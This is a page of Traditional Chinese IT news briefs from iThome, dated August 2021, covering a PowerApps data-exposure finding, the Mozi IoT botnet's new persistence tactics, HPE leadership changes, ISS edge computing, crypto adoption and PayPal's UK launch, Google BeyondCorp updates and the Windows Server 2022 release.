<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://www.upguard.com/breaches/power-apps" target="_blank">安全廠商UpGuard發現</a>，微軟PowerApps入口網站（portal）平臺的預設資料組態問題，導致超過3800萬用戶接種疫苗或個資公開於網路上，受害者包括福特、美國航空及數個州政府。</p> <p>PowerApps是微軟力推的低程式碼開發、流程設計等生產力工具。PowerApps 入口網站可讓內部用戶輸入及儲存資訊，且開放外部用戶利用不同的身分識別登入、建立、查詢或瀏覽資料，或是網站上App互動。</p> <p>但經常揭露雲端平臺漏洞的UpGuard發現它某個預設的存取權限設定，可能導致美國紐約市、印第安那及馬里蘭州等政府及數家大型企業儲存的用戶資料，包括COVID-19疫苗接種或社會安全碼、電子郵件個資曝露於開放網路上。</p> <p>UpGuard解釋，Power Apps的原理是，Power Apps 內部資料表單（list）中擷取Microsoft Dataverse表格中的資料，再透過API將資料曝露或顯示於Power Apps入口網站上。問題出在PowerApps用來汲取資料的API之一：OData API。開發人員以此API啟動從OData Fee表單（list）撈出資料的OData feed同時，一定要記得在功能選單中啟動「設定表格許可（Table Permission）」，以確保不會有匿名存取，或是非授權用戶存取資料。但這表格存取權限設定在Power Apps表單中是預設關閉的；也就是說，只要用戶忘了變更設定，使用OData API的單位等於資料公開曝露於開放網路上。</p> <p>研究人員發現了數千個入口網站曝露出可匿名存取的表單。其中幾個較重大的例子是美國3個州、市政府的入口網站，曝光的資料包括COVID-19案例及疫苗接種、求職者社會安全碼及其他可識別個人身份的資訊（PII）。其他用戶還包括德州登頓郡（Denton County）、美國航空、J.B. Hunt運輸服務公司、福特及微軟。總計曝險的資料涉及3800多萬用戶。</p> <p>UpGuard除了通知幾個重大案例的用戶外，也在今年6月底聯絡微軟，後者接獲通知後變更了PowerApps入口網站的資料組態預設。</p> </div></div></div>
2021/8/24 12:11作者林妍溱https://www.ithome.com.tw/news/146351
HPE高層人事變動，成立GreenLake部門
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://www.hpe.com/us/en/newsroom/blog-post/2021/08/accelerating-hpes-transformation-to-a-cloud-services-business-and-delivery-model.html" target="_blank">HPE本周公布高層人事調整</a>，包括技術長將退休，並成立GreenLake銷售部門，推動以GreenLake為中心以及服務（as a service）導向的公司策略。</p> <p>HPE執行長Antonio Neri指出，新的人事和組織調整有助公司朝向速度及敏捷性轉型，並推動GreenLake成為邊緣到雲端（edge to cloud）平臺的市場龍頭地位。首先，HPE技術長Kumar Sreekanti將退休，直到HPE下個月任命新的技術長。</p> <p>Sreekanti是<a href="https://www.ithome.com.tw/news/127409" target="_blank">HPE 2018年收購</a>大數據軟體及人工智慧（artificial intelligence，AI）業者Blue Data而加入HPE。他也曾是VMWare雲端基礎架構業務部門研發長。</p> <p>同時HPE也成立GreenLake平臺開發團隊，由新任技術長統轄，開發相關技術。</p> <p>在業務部份方面，HPE也成立GreenLake雲端服務解決方案事業群，將原本分散的HPE軟體部門，包括Ezmeral（包括容器管理、協同、IT自動化、AI等）、GreenLake Lighthouse零信任安全軟體以及相關軟體整合為一。新事業群直屬執行長，將由現任Aruba營運長Vishal Lall執掌。此外還成立GreenLake Cloud Services商用業務（Commercial Business）事業群，主掌GreenLake經銷及Go-to-Market銷售業務。</p> <p>Ezmeral是<a href="https://www.ithome.com.tw/news/138425" target="_blank">HPE去年成立的混合雲平臺軟體品牌</a>，主要是用來和Red Hat OpenShift及VMware Tenzu競爭。</p> <p>HPE也成立了2個服務團隊由營運長兼管，以確保HPE as a service類別產品的營運、服務及安全功能及運作順暢。</p> <p>這樁收購是7月IBM總裁、原Red Hat執行長 <a href="https://www.ithome.com.tw/news/145453" target="_blank">Jim Whitehurst離職</a>後，另一個IT大廠的高層人事變動。外界都在等待，Whitehurst下個舞臺在哪，以及IBM能找到誰可取代他。</p> </div></div></div>
2021/8/24 12:18作者林妍溱https://www.ithome.com.tw/news/146352
殭屍網路Mozi鎖定Netgear、華為、中興網路閘道發動攻擊，納入持續運作的能力
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>對於許多企業而言，網路閘道（Network Gateway）設備是網際網路與內部環境存取的橋樑，一旦遭到入侵，便有可能導致企業門戶大開，讓攻擊者能對企業內部進一步造成危害，而駭客攻擊這類連網設備的行動，很可能就會運用殭屍網路病毒。例如，最近微軟揭露新一波殭屍網路Mozi的攻擊，研究人員發現，<a href="https://www.microsoft.com/security/blog/2021/08/19/how-to-proactively-defend-against-mozi-iot-botnet/">近期這款殭屍網路病毒針對Netgear、華為、中興（ZTE）等廠牌的網路閘道設備，加入了能夠持續運作的能力</a>。</p> <p>Mozi是點對點（P2P）的殭屍網路，最早是<a href="https://blog.netlab.360.com/mozi-another-botnet-using-dht/">Netlab 360實驗室於2019年12月揭露</a>，其特點是透過<a href="https://en.wikipedia.org/wiki/Distributed_hash_table">DHT協定</a>（Distributed Hash Table，一種類似BitTorrent的傳輸方式），來感染物聯網（IoT）裝置，例如路由器、網路閘道，或是數位視訊錄影機（DVR）等。</p> <p>駭客運用該殭屍網路病毒發動攻擊的大致流程為何？首先，他們會透過像是物聯網搜尋引擎Shodan，來找尋、識別曝露在網際網路上的連網設備。</p> <p>接著，駭客會滲透攻擊目標，方法可能是透過Telnet的弱密碼，或者是物聯網裝置未修補的漏洞，進而在目標裝置植入Mozi。而攻擊者運用Mozi可能會衍生的攻擊行為，包含了發動分散式阻斷服務（DDoS）攻擊、資料外洩，以及執行指令或是惡意酬載等，藉由Mozi感染這些設備當做跳板，攻擊者可以進而橫向移動，來攻擊具有高度價值的目標。例如，操作科技（OT）環境裡的資訊系統、工業控制系統（ICS）等。</p> <p>但微軟在分析新的Mozi殭屍網路病毒之後發現，駭客加入能讓Mozi在受害裝置持續運作的能力，包含了在受害裝置的檔案系統中加入指令碼（Script），讓Mozi能隨著裝置開機就執行，並且竄改組態設定，阻礙組態伺服器與受害裝置之間的通訊；再者，攻擊者會藉著切斷Telnet等遠端存取的通訊協定，來封鎖管理者復原裝置組態的管道。</p> <p><a href="https://s4.itho.me/sites/default/files/images/Mozi-attack-flow-s.png"><img alt="" src="https://s4.itho.me/sites/default/files/images/Mozi-attack-flow-s.png" style="width: 580px; height: 240px;" /></a></p> <blockquote><p>攻擊者究竟如何運用殭屍網路病毒Mozi？微軟列出了可能的流程，包含最初的找尋、識別攻擊目標（步驟1、2），滲透受害的網路閘道裝置並植入Mozi（步驟3、4），設置能讓Mozi持續運作的組態（步驟5至7），最終達到攻擊企業內部環境的目的（步驟8至10）：例如，部署滲透套件、發動勒索軟體攻擊，以及索討贖金等。</p> </blockquote> <p>對於上述提及讓Mozi持續在受害裝置中運作的能力，微軟指出，這些功能是針對Netgear、華為，以及中興的網路閘道設備而來。</p> <p>其中，為了提升權限，Mozi會在檢查這些網路閘道設備的特定資料夾過程中，濫用CVE-2015-1328──這是存在於Ubuntu作業系統中，舊版Linux核心（3.10至3.19版）的漏洞，一旦遭到濫用，能讓不具特殊權限的使用者在系統目錄建立新的檔案，或是讀取系統檔案的內容，進而取得管理員存取權限。</p> <p>除了Mozi會在3個廠牌的網路閘道設備中，都會濫用上述的漏洞之外，也有鎖定特定廠牌的行為。像是針對中興的路由器和數據機，Mozi會複製自己到指定的資料夾，並且停用TR-069埠，以及阻斷受害裝置與自動組態伺服器（Auto-Configuration Server）連線的能力等，此外，Mozi還會刪除特定的檔案，以免其他的攻擊者濫用CVE-2014-2321漏洞來存取受害裝置。</p> <p>而對於華為路由器與數據機的部分，Mozi則是會執行特定的指令來竄改密碼，並且停用集中控管的功能，以防管理者透過管理伺服器還原受害裝置的組態。</p> <p>此外，Mozi也會封鎖特定的路由器TCP通訊埠，讓管理者無法遠端存取，例如Telnet埠（23埠、2323埠）、TR-069管理埠（7547埠）等，其中，也包含特定廠牌專屬的通訊埠，像是Netgear設備的TR-069管理埠（35000埠），以及華為設備的管理埠（50023埠）等。</p> <p>在具備上述可持續於受害裝置運作的功能之餘，攻擊者也為Mozi惡意軟體添加新的攻擊能力，可劫持HTTP連線進行中間人攻擊（MitM），或是進行DNS欺騙（DNS Spoofing），將流量重新導向攻擊者控制的IP位置。</p> <p>而對於這些暴露於上述風險的路由器和網路閘道，微軟建議管理者要使用強密碼，以及安裝最新的修補程式，來防範Mozi的攻擊。</p> </div></div></div>
2021/8/24 11:04作者周峻佑https://www.ithome.com.tw/news/146349
國際太空站試驗以邊緣運算技術監控太空人健康
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>國際太空站<a href="https://azure.microsoft.com/zh-tw/blog/genomics-testing-on-the-iss-with-hpe-spaceborne-computer2-and-azure/">應用邊緣運算技術來監控太空人的健康</a>，結合搭載在國際太空站的HPE的Spaceborne Computer-2邊緣運算系統，還有地球上的Azure雲端服務，來監控太空人因為暴露在高輻射環境，可能出現的健康風險，太空人的血液樣本基因定序資料會先在國際太空站進行預處理，只有需要進一步分析的資料，才會透過頻寬有限的下行鏈結（Downlink）傳輸到地球處理。</p> <p>目前國際太空站的這套HPE Spaceborne Computer-2，是在2021年4月才安裝到NG-15太空站，預計要服役2到3年。這件事本身就極具意義，因為過去太空站所用的電腦，通常是專門訂製的硬體和軟體模型，以滿足太空任務的可靠性需求，這些訂製的星載系統開發人員體驗很複雜，與地球上使用的商用系統相比，程式開發速度不只緩慢且困難。</p> <p class="rtecenter"><img alt="" src="https://s4.itho.me/sites/default/files/images/56f1fcdf-ca48-4a8f-85ce-71ab41624db7.jpg" style="width: 580px;" /></p> <p>在2017年的時候，HPE所設計的第一代商業系統Spaceborne Computer-1，成功被發射到太空，並且驗證可在太空高輻射的環境中正常運作，並且在今年的時候，擁有2倍運算效能，以及強化人工智慧運算能力，由HPE Edgeline EL4000 Converged Edge系統和HPE ProLiant DL360 Gen10伺服器組成的Spaceborne Computer-2，再次被部署到太空站中。</p> <p>雖然運算能力提升了，但是微軟提到，應用真正的瓶頸是國際太空站和地球之間的傳輸頻寬，Spaceborne Computer-2每周只能從NASA，分配到2小時的通訊頻寬將資料傳輸到地球，最大的下載速度為每秒250 KB，這樣的頻寬還要分配給多個實驗，在這個有限的網路環境，邊緣雲端的概念發揮作用，Spaceborne Computer-2能先對大型資料集進行初步分析和過濾，擷取有趣和意外的內容，再將這些結果傳回地球公有雲上解析。</p> <p>微軟在這些限制提出了一項實驗，監控高輻射暴露下太空人的健康，由於在太空中不像地球有大氣層，阻擋來自宇宙的輻射，因此太空人需要面臨高輻射的威脅，特別越過低空地球軌道，超過范艾倫輻射帶時，所暴露的輻射只會越來越多。</p> <p>微軟的這項實驗，是要存取國際太空站上基因定序儀的資料進行分析，但是基因定序資料量太過龐大，而且輸出要和不斷更新的大型臨床資料庫進行比較，因此下行鏈路的頻寬太小，不足以支援這些操作，因此該實驗使用HPE Spaceborne Computer-2執行初始運算，將擷取的基因序列和參考的DNA片段進行比較，只有在找到差異或是變異時，才下載到HPE地面站。</p> <p>在地球上，這些資料會被傳輸到Azure，並且使用微軟Genomics服務進行運算，將下載資料中的短鹼基對基因定序資料和完整的人類基因組資料庫比對，來確定突變的位置和變化類型，並使用美國國家衛生院的dbSNP資料庫比對讀數，來確定突變所帶來的影響。</p> <p>由於在開發和測試期間，開發人員無法存取HPE Spaceborne Computer-2或HPE地面站，因此研究人員先在Azure模擬驗證了這個實驗，並在8月12日的時候，上傳120MB的程式到國際太空站的Spaceborne Computer-2上執行。</p> <p>根據微軟的試驗，當原始資料為500 KB時，執行時間只需要20分鐘，需要下載至地球的資料只剩4 KB，傳輸時間不到1秒，即便原始資料有150 MB，在 Spaceborne Computer-2執行1小時的預處理後，需要傳輸的資料剩下900 KB，17秒內就能傳輸到地球。</p> <p>目前HPE Spaceborne Computer-2還在邊緣雲端應用的試驗和概念性驗證階段，太空人健康監控應用僅是其中一項專案，這些試驗都會獨立於國際太空站運作的作業系統，微軟提到，隨著人類繼續向太空發展，邊緣雲端運算能力將會越來越重要，使用案例也會增加，作為突破運算資源極限的解決方案。</p> </div></div></div>
2021/8/23 21:07作者李建興https://www.ithome.com.tw/news/146348
今年第二季全球對加密貨幣的採用成長881%
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>加密貨幣市場分析機構Chainalysis上周公布了<a href="https://blog.chainalysis.com/reports/2021-global-crypto-adoption-index" target="_blank">今年第二季的全球加密貨幣採用指標報告</a>，顯示相較於去年同期，今年第二季全球對加密貨幣的採用大增了881%，且採用的前三名依序是越南、印度與巴基斯坦。</p> <p>Chainalysis的採用指標有3個衡量標準，分別是區塊鏈上的加密貨幣價值、零售交易價值、P2P交易量，再以當地的人均購買力平價進行加權，計算範圍擴及全球154個國家。</p> <p>分析顯示，每個國家加密貨幣採用率的成長各自有不同的原因，例如新興市場的人民是因為面臨貨幣貶值、傳送或收取匯款，以及進行商業交易才採用加密貨幣，至於北美、西歐或東亞等國家在去年加密貨幣採用率大增的原因，則是來自於機構的投資。</p> <p>而今年第二季新興市場占據了加密貨幣採用率排行榜前幾名的原因，主要是它們有大量的交易奠基在P2P平臺上。Chainalysis說明，其實區塊鏈上看不到P2P交易，然而，P2P卻占了全球加密貨幣交易活動的很大比例，特別是在新興市場，因為新興市場的民眾經常無法存取集中的交易中心，促使他們大量使用P2P交易。</p> <p>加密貨幣在新興市場竄升的另一個原因為許多國家會限制匯出的金額，藉由加密貨幣就能躲避此一限制。</p> <p>儘管去年中國仍位於排行榜上的第四名，美國排第六名，但今年它們雙雙掉到第十三名與第八名。Chainalysis分析其原因，指出除了這兩個市場的P2P交易量大幅下滑之外，美國的加密貨幣交易走向專業化與制度化，以及中國對加密貨幣交易的打壓，形成了當地採用指數下滑的原因。</p> <p>身為加密貨幣的分析業者，Chainalysis認為這一年來加密貨幣採用率飆升，而且不同國家對此皆有多元的貢獻，都顯示出加密貨幣已成為真正的全球現象。</p> </div></div></div>
2021/8/23 15:40作者陳曉莉https://www.ithome.com.tw/news/146345
Google更新零信任解決方案BeyondCorp Enterprise，簡化自定義存取政策配置
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>Google更新零信任解決方案BeyondCorp Enterprise，加入3項<a href="https://cloud.google.com/blog/products/identity-security/new-beyondcorp-enterprise-zero-trust-capabilities">新功能</a>，讓用戶可以對其終端使用者，以更安全簡單的方式控制應用程式存取。第1個是對GCP API透過VPC服務控制，提供基用憑證的存取控制，官方提到，不少用戶使用不記名的證書存取雲端控制臺和API，但是當這些證書意外洩漏時，就可能被攻擊者用來進行非法存取。</p> <p>而基於憑證的存取控制，是除了證書之外，還要加上經過驗證的裝置憑證，才能夠進行存取，因此能夠防止憑證被盜或是意外洩漏的風險。現在Google對8種類型的VPC服務控制資源，提供客戶端憑證原生支援，包括GCE、GKE、Cloud KMS、BigQuery和Logging等，之後Google還會繼續增加更多支援的服務。</p> <p>BeyondCorp Enterprise也開始正式提供本地端連接器，供用戶可以連接到本地資源，藉由部署連接器，就能夠使用身份感知代理（Identity-Aware Proxy，IAP），保護Google雲端之外的HTTP或HTTPS本地應用程式，在本地端應用程式發出請求時，IAP會對用戶進行身份驗證和授權，並將請求路由到連接器。</p> <p>另外，Google也在BeyondCorp Enterprise背後的零信任政策引擎Access Context Manager（ACM），添加更多的零信任存取條件，利用這些新屬性，管理員就能夠用更多元的方式制定高精細度的存取控制政策，這3組新屬性分別是時間和日期、證書強度以及Chrome瀏覽器。</p> <p>時間和日期屬性能夠限制終端使用者存取資源的時間和日期，可用於例如輪班工人和臨時員工的存取控制。由於配置雙因素驗證是防止安全漏洞的重要方法，藉由將證書強度當作存取控制政策中的條件，企業就能依據硬體安全金鑰的使用，或是其他形式的多因素驗證，來實施存取控制，BeyondCorp Enterprise現在支援通知推送、SMS認證碼、2SV軟體和硬體金鑰、一次性密碼和任何形式的MFA等驗證方法。</p> <p>對於Chrome瀏覽器用戶，管理員可以設定零信任政策，來確保用戶瀏覽器環境啟用了威脅和資料保護功能，ACM自定義存取等級的新條件包括管理狀態、最小版本、即時URL檢查啟用狀態、檔案上傳下載分析啟用狀態和安全事件回報啟用狀態等。</p> </div></div></div>
2021/8/23 15:54作者李建興https://www.ithome.com.tw/news/146344
PayPal加密貨幣交易跨出美國，進軍英國市場
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>線上支付服務業者PayPal在去年底<a href="https://www.ithome.com.tw/news/140675" target="_blank">開放用戶持有及買賣加密貨幣</a>，今年3月開始<a href="https://www.ithome.com.tw/news/143561" target="_blank">支援美國市場</a>以加密貨幣付款，繼之在今日（8/23）宣布<a href="https://newsroom.paypal-corp.com/2021-08-23-PayPal-Launches-the-Ability-to-Buy,-Hold-and-Sell-Cryptocurrency-in-the-UK" target="_blank">將提供英國用戶</a>透過該平臺買進、持有與銷售加密貨幣。</p> <p>PayPal用戶只要登入行動程式或PayPal網站，就能查看比特幣（Bitcoin）、以太幣（Ethereum）、比特幣現金（Bitcoin Cash），以及萊特幣（Litecoin）等4種加密貨幣的價格並進行交易，平臺上同時也提供了有關加密貨幣的教育內容與風險問題，而這也是PayPal的加密貨幣服務第一次踩出美國，進軍國際市場。</p> <p>從PayPal所發布的新聞稿看來，英國用戶現在只能買進、持有與售出加密貨幣，尚無法把加密貨幣作為付款選項之一，不過，用戶最低以1英鎊就能購買加密貨幣。</p> <p>負責區塊鏈、加密貨幣與數位貨幣的PayPal副總裁Jose Fernandez da Ponte表示，疫情加速了人們生活各方面的創新與數位變遷，包括消費者對數位化貨幣與數位金融服務的採用，PayPal將會持續與英國及全球的監管機關合作，替形塑數位貨幣於全球金融及商業中的角色帶來有意義的貢獻。</p> </div></div></div>
2021/8/23 16:00作者陳曉莉https://www.ithome.com.tw/news/146346
微軟開始出貨Windows Server 2022
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>經過半年的預覽，微軟上周正式出貨最新伺服器作業系統Windows Server 2022。</p> <p><a href="https://cloudblogs.microsoft.com/windowsserver/2021/03/02/announcing-windows-server-2022-now-in-preview/" target="_blank">微軟今年3月公開預覽Windows Server 2022</a>。<a href="https://twitter.com/teroalhonen/status/1428745774276481026/photo/1" target="_blank">上周使用者發現Server 2022已經透過大量授權合約（Volume Licensing）的服務中心釋出給用戶</a>。連同Windows 11的ISO檔，<a href="https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2022" target="_blank">微軟也於上周釋出了Server 2022的ISO檔</a>，供用戶下載測試180天。</p> <p>Windows Server 2022提供標準、資料中心及資料中心：Azure版本。</p> <p><a href="https://docs.microsoft.com/zh-tw/windows-server/get-started/whats-new-in-windows-server-2022" target="_blank">微軟說明</a>，Windows Server 2022是以Server 2019為基礎，並強化多層次安全，Azure混合雲管理及應用程式開發平臺。多層次安全包括信賴平臺模組 2.0 (TPM 2.0)、韌體保護、虛擬化安全等核心伺服器防護、使用DNS over HTTPS、預設啟用HTTPS。在混合雲管理方面則可透過啟用Azure Arc管理本地部署的Windows伺服器和Azure雲服務，資料中心版本則可支援Azure Automanage熱修補（Hotpatch）功能，可在VM上安裝更新而不需重開機。應用程式平臺改進功能則強化應用程式相容性，以及提升Kubernetes-based Windows 容器的啟動速度。</p> <p>此外Windows Admin Center 也強化安全管理功能，並且協助更快於Azure上部署.NET應用程式等。而Edge瀏覽器也將取代Internet Explorer（IE）內建於Server 2022。</p> <p><a href="https://docs.microsoft.com/en-us/lifecycle/products/windows-server-2022" target="_blank">微軟也於上周更新Server 2022的技術支援網頁</a>。主流支援從2021年8月18日起到2026年10月13日，延伸支援則到2031年的10月14日止。</p> </div></div></div>
2021/8/23 14:10作者林妍溱https://www.ithome.com.tw/news/146341